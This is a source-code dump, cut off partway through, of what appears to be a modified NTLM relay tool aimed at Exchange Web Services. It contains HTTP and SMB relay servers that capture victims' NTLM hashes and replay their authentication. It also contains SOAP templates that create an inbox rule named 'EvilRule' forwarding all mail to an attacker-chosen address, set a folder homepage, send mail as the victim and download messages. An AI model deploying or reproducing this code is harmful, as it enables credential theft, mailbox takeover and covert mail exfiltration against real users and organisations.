    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Header>\n    <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n  </soap:Header>\n  <soap:Body>\n    <m:UpdateInboxRules>\n      <m:RemoveOutlookRuleBlob>true</m:RemoveOutlookRuleBlob>\n      <m:Operations>\n        <t:CreateRuleOperation>\n          <t:Rule>\n            <t:DisplayName>EvilRule</t:DisplayName>\n            <t:Priority>1</t:Priority>\n            <t:IsEnabled>true</t:IsEnabled>\n            <t:Conditions>\n              <t:SentToMe>true</t:SentToMe>\n            </t:Conditions>\n            <t:Exceptions />\n            <t:Actions>\n              <t:ForwardToRecipients>\n                <t:Address>\n\t\t\t\t\t<t:Name>${DestAddress}</t:Name>\n\t\t\t\t\t<t:EmailAddress>${DestAddress}</t:EmailAddress>\n\t\t\t\t\t<t:RoutingType>SMTP</t:RoutingType>\n\t\t\t\t</t:Address>\n              </t:ForwardToRecipients>\n            </t:Actions>\n          </t:Rule>\n        </t:CreateRuleOperation>\n      </m:Operations>\n    </m:UpdateInboxRules>\n  </soap:Body>\n</soap:Envelope>\n"
  },
  {
    "path": "SOAPRequestTemplates/getFolderID.tpl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Header>\n  <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n</soap:Header>\n<soap:Body>\n  <m:GetFolder>\n\t<m:FolderShape>\n\t  <t:BaseShape>AllProperties</t:BaseShape>\n\t</m:FolderShape>\n\t<m:FolderIds>\n\t  <t:DistinguishedFolderId Id=\"${Folder}\" />\n\t</m:FolderIds>\n  </m:GetFolder>\n</soap:Body>\n</soap:Envelope>\n"
  },
  {
    "path": "SOAPRequestTemplates/getItem.tpl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Header>\n  <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n</soap:Header>\n<soap:Body>\n  <m:GetItem>\n\t<m:ItemShape>\n\t  <t:BaseShape>IdOnly</t:BaseShape>\n\t  <t:AdditionalProperties>\n\t\t<t:FieldURI FieldURI=\"item:MimeContent\" />\n\t  </t:AdditionalProperties>\n\t</m:ItemShape>\n\t<m:ItemIds>\n\t  <t:ItemId Id=\"${Id}\" ChangeKey=\"${ChangeKey}\" />\n\t</m:ItemIds>\n  </m:GetItem>\n</soap:Body>\n</soap:Envelope>\n"
  },
  {
    "path": "SOAPRequestTemplates/listFolder.tpl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Header>\n  <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n</soap:Header>\n<soap:Body>\n  <m:FindItem Traversal=\"Shallow\">\n\t<m:ItemShape>\n\t  <t:BaseShape>AllProperties</t:BaseShape>\n\t</m:ItemShape>\n\t<m:IndexedPageItemView MaxEntriesReturned=\"1000\" Offset=\"0\" BasePoint=\"Beginning\" />\n\t<m:ParentFolderIds>\n\t  <t:DistinguishedFolderId Id=\"${Folder}\" />\n\t</m:ParentFolderIds>\n  </m:FindItem>\n</soap:Body>\n</soap:Envelope>\n"
  },
  {
    "path": "SOAPRequestTemplates/resolveEmailAddr.tpl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Header>\n  <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n</soap:Header>\n<soap:Body>\n  <m:ResolveNames ReturnFullContactData=\"false\" SearchScope=\"ContactsActiveDirectory\">\n\t<m:UnresolvedEntry>${UserAccount}</m:UnresolvedEntry>\n  </m:ResolveNames>\n</soap:Body>\n</soap:Envelope>\n"
  },
  {
    "path": "SOAPRequestTemplates/sendMail.tpl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Header>\n  <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n</soap:Header>\n<soap:Body>\n  <m:CreateItem MessageDisposition=\"SendOnly\">\n\t<m:Items>\n\t  <t:Message>\n\t\t<t:Subject>${Subject}</t:Subject>\n\t\t<t:Body BodyType=\"HTML\">${Message}</t:Body>\n\t\t<t:ToRecipients>\n\t\t\t${DestAddressBlock}\n\t\t</t:ToRecipients>\n\t  </t:Message>\n\t</m:Items>\n  </m:CreateItem>\n</soap:Body>\n</soap:Envelope>\n\n"
  },
  {
    "path": "SOAPRequestTemplates/setHomePage.tpl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Header>\n  <t:RequestServerVersion Version=\"${ExchangeVersion}\" />\n</soap:Header>\n<soap:Body>\n  <m:UpdateFolder>\n\t<m:FolderChanges>\n\t  <t:FolderChange>\n\t\t<t:FolderId Id=\"${FolderId}\" ChangeKey=\"${ChangeKey}\" />\n\t\t<t:Updates>\n\t\t  <t:SetFolderField>\n\t\t\t<t:ExtendedFieldURI PropertyTag=\"14047\" PropertyType=\"Binary\" />\n\t\t\t<t:Folder>\n\t\t\t  <t:ExtendedProperty>\n\t\t\t\t<t:ExtendedFieldURI PropertyTag=\"14047\" PropertyType=\"Binary\" />\n\t\t\t\t<t:Value>${HomePage}</t:Value>\n\t\t\t  </t:ExtendedProperty>\n\t\t\t</t:Folder>\n\t\t  </t:SetFolderField>\n\t\t</t:Updates>\n\t  </t:FolderChange>\n\t</m:FolderChanges>\n  </m:UpdateFolder>\n</soap:Body>\n</soap:Envelope>\n"
  },
  {
    "path": "lib/__init__.py",
    "content": "from httprelayserver import HTTPRelayServer\nfrom smbrelayserver import SMBRelayServer\nfrom httprelayclient import HTTPRelayClient\n"
  },
  {
    "path": "lib/config.py",
    "content": "#!/usr/bin/python\n# Copyright (c) 2013-2016 CORE Security Technologies\n#\n# This software is provided under under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Modified by Arno0x0x for handling NTLM relay to EWS server\n#\n# Config utilities\n#\n# Author:\n#  Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\n# Description:\n#     Configuration class which holds the config specified on the \n# command line, this can be passed to the tools' servers and clients\nclass NTLMRelayxConfig:\n\tdef __init__(self):\n\t\tself.daemon = True\n\t\tself.domainIp = None\n\t\tself.machineAccount = None\n\t\tself.machineHashes = None\n\t\tself.target = None\n\t\tself.ewsBody = None\n\t\tself.ewsRequest = None\n\t\tself.ewsFolder = None\n\t\tself.ewsDestAddress = None\n\t\tself.ewsHomePageURL = None\n\t\tself.mode = None\n\t\tself.redirecthost = None\n\t\tself.outputFile = None\n\t\tself.attacks = None\n\t\tself.lootdir = None\n\t\tself.randomtargets = False\n\t\t\n\tdef setOutputFile(self,outputFile):\n\t\tself.outputFile = outputFile\n\n\tdef setTargets(self, target):\n\t\tself.target = target\n\n\tdef setEWSParameters(self, ewsBody, ewsRequest, ewsFolder, ewsDestAddress, ewsHomePageURL):\n\t\tself.ewsBody = ewsBody\n\t\tself.ewsRequest = ewsRequest\n\t\tself.ewsFolder = ewsFolder\n\t\tself.ewsDestAddress = ewsDestAddress\n\t\tself.ewsHomePageURL = ewsHomePageURL\n\t\t\n\tdef setDomainAccount( self, machineAccount,  machineHashes, domainIp):\n\t\tself.machineAccount = machineAccount\n\t\tself.machineHashes = machineHashes\n\t\tself.domainIp = domainIp\n\t\n\tdef setMode(self,mode):\n\t\tself.mode = mode\n\n\tdef setAttacks(self,attacks):\n\t\tself.attacks = attacks\n\n\tdef setLootdir(self,lootdir):\n\t\tself.lootdir = lootdir\n"
  },
  {
    "path": "lib/helper.py",
    "content": "from string import Template\n\n#=====================================================================================\n# Helper functions\n#=====================================================================================\ndef color(string, color=None):\n    \"\"\"\n    Author: HarmJ0y, borrowed from Empire\n    Change text color for the Linux terminal.\n    \"\"\"\n    \n    attr = []\n    \n    if color:\n        if color.lower() == \"red\":\n            attr.append('31')\n        elif color.lower() == \"green\":\n            attr.append('32')\n        elif color.lower() == \"blue\":\n            attr.append('34')\n        return '\\x1b[%sm%s\\x1b[0m' % (';'.join(attr), string)\n\n    else:\n    \t# bold\n    \tattr.append('1')\n        if string.strip().startswith(\"[!]\"):\n            attr.append('31')\n            return '\\x1b[%sm%s\\x1b[0m' % (';'.join(attr), string)\n        elif string.strip().startswith(\"[+]\"):\n            attr.append('32')\n            return '\\x1b[%sm%s\\x1b[0m' % (';'.join(attr), string)\n        elif string.strip().startswith(\"[?]\"):\n            attr.append('33')\n            return '\\x1b[%sm%s\\x1b[0m' % (';'.join(attr), string)\n        elif string.strip().startswith(\"[*]\"):\n            attr.append('34')\n            return '\\x1b[%sm%s\\x1b[0m' % (';'.join(attr), string)\n        else:\n            return string\n\n#------------------------------------------------------------------------\ndef convertFromTemplate(parameters, templateFile):\n\ttry:\n\t\twith open(templateFile) as f:\n\t\t\tsrc = Template(f.read())\n\t\t\tresult = src.substitute(parameters)\n\t\t\tf.close()\n\t\t\treturn result\n\texcept IOError:\n\t\tprint helpers.color(\"[!] Could not open or read template file [{}]\".format(templateFile))\n\t\treturn None\n"
  },
  {
    "path": "lib/httprelayclient.py",
    "content": "#!/usr/bin/python\n# Copyright (c) 2003-2016 CORE Security Technologies\n#\n# This software is provided under under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Modified by Arno0x0x for handling NTLM relay to EWS server\n#\n# Author:\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\n# Description: \n# HTTP(s) client for relaying NTLMSSP authentication to webservers\n#\nimport logging\nimport re\nimport ssl\nfrom httplib import HTTPConnection, HTTPSConnection, ResponseNotReady\nimport base64\n\nclass HTTPRelayClient:\n\t#-------------------------------------------------------------------------------\n    def __init__(self, target, body):\n        # Target comes as protocol://target:port/path\n        self.target = target\n        proto, host, path = target.split(':')\n        host = host[2:]\n        self.path = '/' + path.split('/', 1)[1]\n        self.body = body\n        if proto.lower() == 'https':\n            #Create unverified (insecure) context\n            try:\n                #uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n                uv_context = ssl.create_default_context()\n                self.session = HTTPSConnection(host,context=uv_context)\n            except AttributeError:\n                #This does not exist on python < 2.7.11\n                self.session = HTTPSConnection(host)\n        else:\n            self.session = HTTPConnection(host)\n        self.lastresult = None\n\n\t#-------------------------------------------------------------------------------\n    def sendNegotiate(self,negotiateMessage):\n\t\t#Check if server wants auth\n\t\tif self.body is not None:\n\t\t\tself.session.request('POST', self.path, self.body, {\"Content-Type\":\"text/xml\"})\n\t\telse:\n\t\t\tself.session.request('GET', self.path)\n\n\t\tres = self.session.getresponse()\n\t\tres.read()\n\t\tif res.status != 401:\n\t\t\tlogging.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)\n\t\ttry:\n\t\t\tif 'NTLM' not in res.getheader('WWW-Authenticate'):\n\t\t\t\tlogging.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))\n\t\t\t\treturn False\n\t\texcept KeyError:\n\t\t\tlogging.error('No authentication requested by the server for url %s' % self.target)\n\t\t\treturn False\n\n\t\t#Negotiate auth\n\t\tnegotiate = base64.b64encode(negotiateMessage)\n\t\tif self.body is not None:\n\t\t\theaders = {'Authorization':'NTLM %s' % negotiate, \"Content-Type\":\"text/xml\"}\n\t\t\tself.session.request('POST', self.path, self.body, headers=headers)\n\t\telse:\n\t\t\theaders = {'Authorization':'NTLM %s' % negotiate}\n\t\t\tself.session.request('GET', self.path, headers=headers)\n\n\t\tres = self.session.getresponse()\n\t\tres.read()\n\t\ttry:\n\t\t\tserverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1)\n\t\t\tserverChallenge = base64.b64decode(serverChallengeBase64)\n\t\t\treturn serverChallenge\n\t\texcept (IndexError, KeyError, AttributeError):\n\t\t\tlogging.error('No NTLM challenge returned from server')\n\n\t#-------------------------------------------------------------------------------\n    def sendAuth(self,authenticateMessageBlob, serverChallenge=None):\n\t\t#Negotiate auth\n\t\tauth = base64.b64encode(authenticateMessageBlob)\n\t\tif self.body is not None:\n\t\t\theaders = {'Authorization':'NTLM %s' % auth, \"Content-Type\":\"text/xml\"}\n\t\t\tself.session.request('POST', self.path, self.body, headers=headers)\n\t\telse:\n\t\t\theaders = {'Authorization':'NTLM %s' % auth}\n\t\t\tself.session.request('GET', self.path, headers=headers)\n\t\t\t\n\t\tres = self.session.getresponse()\n\t\tif res.status == 401:\n\t\t\treturn False\n\t\telse:\n\t\t\tlogging.info('HTTP server returned error code %d, treating as a succesful login' % res.status)\n\t\t\t#Cache this\n\t\t\tself.lastresult = res.read()\n\t\t\treturn True\n\n\t#-------------------------------------------------------------------------------\n    #SMB Relay server needs this\n    @staticmethod\n    def get_encryption_key():\n        return None\n"
  },
  {
    "path": "lib/httprelayserver.py",
    "content": "#!/usr/bin/python\n# Copyright (c) 2013-2016 CORE Security Technologies\n#\n# This software is provided under under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Modified by Arno0x0x for handling NTLM relay to EWS server\n#\n# SMB Relay Server\n#\n# Authors:\n#  Alberto Solino (@agsolino)\n#  Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\n# Description:\n#\tThis is the HTTP server which relays the NTLMSSP \n#   messages to other protocols\nimport SimpleHTTPServer\nimport SocketServer\nimport base64\nimport logging\nimport random\nimport struct\nimport string\nfrom threading import Thread\n\nfrom impacket import ntlm\nfrom impacket.spnego import SPNEGO_NegTokenResp\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS\n\nfrom lib.httprelayclient import HTTPRelayClient\n\nclass HTTPRelayServer(Thread):\n    class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):\n        def __init__(self, server_address, RequestHandlerClass, config):\n            self.config = config\n            SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass)\n\n    class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):\n\t\tdef __init__(self,request, client_address, server):\n\t\t\tself.server = server\n\t\t\tself.protocol_version = 'HTTP/1.1'\n\t\t\tself.challengeMessage = None\n\t\t\tself.target = None\n\t\t\tself.client = None\n\t\t\tself.machineAccount = None\n\t\t\tself.machineHashes = None\n\t\t\tself.domainIp = None\n\t\t\tself.authUser = None\n\t\t\tself.target = self.server.config.target.get_target(client_address[0],self.server.config.randomtargets)\n\t\t\tlogging.info(\"HTTPD: Received connection from %s, attacking target %s\" % (client_address[0] ,self.target[1]))\n\t\t\tSimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)\n\n\t\tdef handle_one_request(self):\n\t\t\ttry:\n\t\t\t\tSimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)\n\t\t\texcept KeyboardInterrupt:\n\t\t\t\traise\n\t\t\texcept Exception, e:\n\t\t\t\tlogging.error('Exception in HTTP request handler: %s' % e)\n\n\t\tdef log_message(self, format, *args):\n\t\t\treturn\n\n\t\tdef do_HEAD(self):\n\t\t\tself.send_response(200)\n\t\t\tself.send_header('Content-type', 'text/html')\n\t\t\tself.end_headers()\n\n\t\tdef do_AUTHHEAD(self, message = ''):\n\t\t\tself.send_response(401)\n\t\t\tself.send_header('WWW-Authenticate', message)\n\t\t\tself.send_header('Content-type', 'text/html')\n\t\t\tself.send_header('Content-Length','0')\n\t\t\tself.end_headers()\n\n\t\t#Trickery to get the victim to sign more challenges\n\t\tdef do_REDIRECT(self):\n\t\t\trstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))\n\t\t\tself.send_response(302)\n\t\t\tself.send_header('WWW-Authenticate', 'NTLM')\n\t\t\tself.send_header('Content-type', 'text/html')\n\t\t\tself.send_header('Connection','close')\n\t\t\tself.send_header('Location','/%s' % rstr)\n\t\t\tself.send_header('Content-Length','0')\n\t\t\tself.end_headers()\n\n\t\tdef do_GET(self):\n\t\t\tmessageType = 0\n\t\t\tif self.headers.getheader('Authorization') is None:\n\t\t\t\tself.do_AUTHHEAD(message = 'NTLM')\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\ttypeX = self.headers.getheader('Authorization')\n\t\t\t\ttry:\n\t\t\t\t\t_, blob = typeX.split('NTLM')\n\t\t\t\t\ttoken = base64.b64decode(blob.strip())\n\t\t\t\texcept:\n\t\t\t\t\tself.do_AUTHHEAD()\n\t\t\t\tmessageType = struct.unpack('<L',token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00')+4])[0]\n\n\t\t\tif messageType == 1:\n\t\t\t\tif not self.do_ntlm_negotiate(token):\n\t\t\t\t\t#Connection failed\n\t\t\t\t\tself.server.config.target.log_target(self.client_address[0],self.target)\n\t\t\t\t\tself.do_REDIRECT()\n\t\t\telif messageType == 3:\n\t\t\t\tauthenticateMessage = ntlm.NTLMAuthChallengeResponse()\n\t\t\t\tauthenticateMessage.fromString(token)\n\t\t\t\tif not self.do_ntlm_auth(token,authenticateMessage):\n\t\t\t\t\tlogging.error(\"Authenticating against %s as %s\\%s FAILED\" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))\n\n\t\t\t\t\t#Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want\n\t\t\t\t\tif authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':\n\t\t\t\t\t\tself.server.config.target.log_target(self.client_address[0],self.target)\n\t\t\t\t\t\t#No anonymous login, go to next host and avoid triggering a popup\n\t\t\t\t\t\tself.do_REDIRECT()\n\t\t\t\t\telse:\n\t\t\t\t\t\t#If it was an anonymous login, send 401\n\t\t\t\t\t\tself.do_AUTHHEAD('NTLM')\n\t\t\t\telse:\n\t\t\t\t\t# Relay worked, do whatever we want here...\n\t\t\t\t\tlogging.info(\"Authenticating against %s as %s\\%s SUCCEED\" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))\n\t\t\t\t\tntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )\n\t\t\t\t\tlogging.info(ntlm_hash_data['hash_string'])\n\t\t\t\t\tif self.server.config.outputFile is not None:\n\t\t\t\t\t\twriteJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)\n\t\t\t\t\tself.server.config.target.log_target(self.client_address[0],self.target)\n\t\t\t\t\tself.do_attack()\n\t\t\t\t\t# And answer 404 not found\n\t\t\t\t\tself.send_response(404)\n\t\t\t\t\tself.send_header('WWW-Authenticate', 'NTLM')\n\t\t\t\t\tself.send_header('Content-type', 'text/html')\n\t\t\t\t\tself.send_header('Content-Length','0')\n\t\t\t\t\tself.send_header('Connection','close')\n\t\t\t\t\tself.end_headers()\n\t\t\treturn \n\n\t\tdef do_ntlm_negotiate(self,token):\n\t\t\tif self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':\n\t\t\t\ttry:\n\t\t\t\t\tself.client = HTTPRelayClient(\"%s://%s:%d/%s\" % (self.target[0].lower(),self.target[1],self.target[2],self.target[3]), self.server.config.ewsBody)\n\t\t\t\t\tclientChallengeMessage = self.client.sendNegotiate(token)\n\t\t\t\texcept Exception, e:\n\t\t\t\t\tlogging.error(\"Connection against target %s FAILED\" % self.target[1])\n\t\t\t\t\tlogging.error(str(e))\n\t\t\t\t\treturn False\n\n\t\t\t#Calculate auth\n\t\t\tself.challengeMessage = ntlm.NTLMAuthChallenge()\n\t\t\tself.challengeMessage.fromString(clientChallengeMessage)\n\t\t\tself.do_AUTHHEAD(message = 'NTLM '+base64.b64encode(self.challengeMessage.getData()))\n\t\t\treturn True\n        \n\t\tdef do_ntlm_auth(self,token,authenticateMessage):\n\t\t\t#For some attacks it is important to know the authenticated username, so we store it\n\t\t\tself.authUser = authenticateMessage['user_name']\n\t\t\n\t\t\t#TODO: What is this 127.0.0.1 doing here? Maybe document specific use case\n\t\t\tif authenticateMessage['user_name'] != '' or self.target[1] == '127.0.0.1':\n\t\t\t\trespToken2 = SPNEGO_NegTokenResp()\n\t\t\t\trespToken2['ResponseToken'] = str(token)\n\n\t\t\t\tif self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':\n\t\t\t\t    try:\n\t\t\t\t        result = self.client.sendAuth(token) #Result is a boolean\n\t\t\t\t        if result:\n\t\t\t\t            return True\n\t\t\t\t        else:\n\t\t\t\t            logging.error(\"HTTP NTLM auth against %s as %s FAILED\" % (self.target[1],self.authUser))\n\t\t\t\t            return False\n\t\t\t\t    except Exception, e:\n\t\t\t\t        logging.error(\"HTTP NTLM Message type 3 against %s FAILED\" % self.target[1])\n\t\t\t\t        logging.error(str(e))\n\t\t\t\t        return False\n\t\t\telse:\n\t\t\t\t# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except\n\t\t\t\t# when coming from localhost\n\t\t\t\terrorCode = STATUS_ACCESS_DENIED\n\t\t\tif errorCode == STATUS_SUCCESS:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\n\t\tdef do_attack(self):\n\t\t\t if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS':\n\t\t\t\tclientThread = self.server.config.attacks['EWS'](self.server.config, self.client, self.authUser)\n\t\t\t\tclientThread.start()\n \n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n\n    def run(self):\n        logging.info(\"Setting up HTTP Server\")\n        httpd = self.HTTPServer((\"\", 80), self.HTTPHandler, self.config)\n        try:\n             httpd.serve_forever()\n        except KeyboardInterrupt:\n             pass\n        logging.info('Shutting down HTTP Server')\n        httpd.server_close()\n"
  },
  {
    "path": "lib/logger.py",
    "content": "#!/usr/bin/python\n# Copyright (c) 2003-2016 CORE Security Technologies\n#\n# This software is provided under under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description: This logger is intended to be used by impacket instead\n# of printing directly. This will allow other libraries to use their\n# custom logging implementation.\n#\n\nimport logging\nimport sys\n\n# This module can be used by scripts using the Impacket library \n# in order to configure the root logger to output events \n# generated by the library with a predefined format\n\n# If the scripts want to generate log entries, they can write\n# directly to the root logger (logging.info, debug, etc).\n\nclass ImpacketFormatter(logging.Formatter):\n  '''\n  Prefixing logged messages through the custom attribute 'bullet'.\n  '''\n  def __init__(self):\n      logging.Formatter.__init__(self,'%(bullet)s %(message)s', None)\n\n  def format(self, record):\n    if record.levelno == logging.INFO:\n      record.bullet = '[*]'\n    elif record.levelno == logging.DEBUG:\n      record.bullet = '[+]'\n    elif record.levelno == logging.WARNING:\n      record.bullet = '[!]'\n    else:\n      record.bullet = '[-]'\n\n    return logging.Formatter.format(self, record)    \n\ndef init():\n    # We add a StreamHandler and formatter to the root logger\n    handler = logging.StreamHandler(sys.stdout)\n    handler.setFormatter(ImpacketFormatter())\n    logging.getLogger().addHandler(handler)\n    logging.getLogger().setLevel(logging.INFO)\n"
  },
  {
    "path": "lib/smbrelayserver.py",
    "content": "#!/usr/bin/python\n# Copyright (c) 2013-2016 CORE Security Technologies\n#\n# This software is provided under under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Modified by Arno0x0x for handling NTLM relay to EWS server\n#\n# SMB Relay Server\n#\n# Authors:\n#  Alberto Solino (@agsolino)\n#  Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\n# Description:\n#   This is the SMB server which relays the connections \n#   to other protocols\n\nfrom threading import Thread\nimport ConfigParser\nimport struct\nimport logging\n\nfrom impacket import smb, ntlm\nfrom impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS\nfrom impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech\nfrom impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.spnego import ASN1_AID\n\nfrom lib.targetsutils import ProxyIpTranslator\nfrom lib.httprelayclient import HTTPRelayClient\n\nclass SMBRelayServer(Thread):\n    def __init__(self,config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.server = 0\n        #Config object\n        self.config = config\n        #Current target IP\n        self.target = None\n        #Targets handler\n        self.targetprocessor = self.config.target\n        #Username we auth as gets stored here later\n        self.authUser = None\n        self.proxyTranslator = None\n\n        # Here we write a mini config for the server\n        smbConfig = ConfigParser.ConfigParser()\n        smbConfig.add_section('global')\n        smbConfig.set('global','server_name','server_name')\n        smbConfig.set('global','server_os','UNIX')\n        smbConfig.set('global','server_domain','WORKGROUP')\n        smbConfig.set('global','log_file','smb.log')\n        smbConfig.set('global','credentials_file','')\n\n        if self.config.outputFile is not None:\n            smbConfig.set('global','jtr_dump_path',self.config.outputFile)\n\n        # IPC always needed\n        smbConfig.add_section('IPC$')\n        smbConfig.set('IPC$','comment','')\n        smbConfig.set('IPC$','read only','yes')\n        smbConfig.set('IPC$','share type','3')\n        smbConfig.set('IPC$','path','')\n        \n        self.server = SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)\n        self.server.processConfigFile()\n\n        self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)\n        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)\n        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well\n        #TODO: See if this is the best way to accomplish this\n        self.server.addConnection('SMBRelay', '0.0.0.0', 445)\n\n    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):\n        connData = smbServer.getConnectionData(connId, checkStatus = False)\n        if self.config.mode.upper() == 'REFLECTION':\n            self.target = ('SMB',connData['ClientIP'],445)\n        # if self.config.mode.upper() == 'TRANSPARENT' and self.proxytranslator is not None:\n        #     translated = self.proxytranslator.translate(connData['ClientIP'],connData['ClientPort'])\n        #     logging.info('Translated to: %s' % translated)\n        #     if translated is None:\n        #         self.target = connData['ClientIP']\n        #     else:\n        #         self.target = translated\n        if self.config.mode.upper() == 'RELAY':\n            #Get target from the processor\n            #TODO: Check if a cache is better because there is no way to know which target was selected for this victim\n            # except for relying on the targetprocessor selecting the same target unless a relay was already done\n            self.target = self.targetprocessor.get_target(connData['ClientIP'])\n\n        #############################################################\n        # SMBRelay\n        #Get the data for all connections\n        smbData = smbServer.getConnectionData('SMBRelay', False)\n        if smbData.has_key(self.target):\n            # Remove the previous connection and use the last one\n            smbClient = smbData[self.target]['SMBClient']\n            del smbClient\n            del smbData[self.target]\n        logging.info(\"SMBD: Received connection from %s, attacking target %s\" % (connData['ClientIP'] ,self.target[1]))\n        try: \n            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:\n                extSec = False\n            else:\n                if self.config.mode.upper() == 'REFLECTION':\n                    # Force standard security when doing reflection\n                    logging.info(\"Downgrading to standard security\")\n                    extSec = False\n                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)\n                else:\n                    extSec = True\n            #Init the correct client for our target\n            client = self.init_client(extSec)\n        except Exception, e:\n            logging.error(\"Connection against target %s FAILED\" % self.target[1])\n            logging.error(str(e))\n        else: \n            encryptionKey = client.get_encryption_key()\n            smbData[self.target] = {} \n            smbData[self.target]['SMBClient'] = client\n            if encryptionKey is not None:\n                connData['EncryptionKey'] = encryptionKey\n            smbServer.setConnectionData('SMBRelay', smbData)\n            smbServer.setConnectionData(connId, connData)\n        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)\n        #############################################################\n\n    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):\n\n        connData = 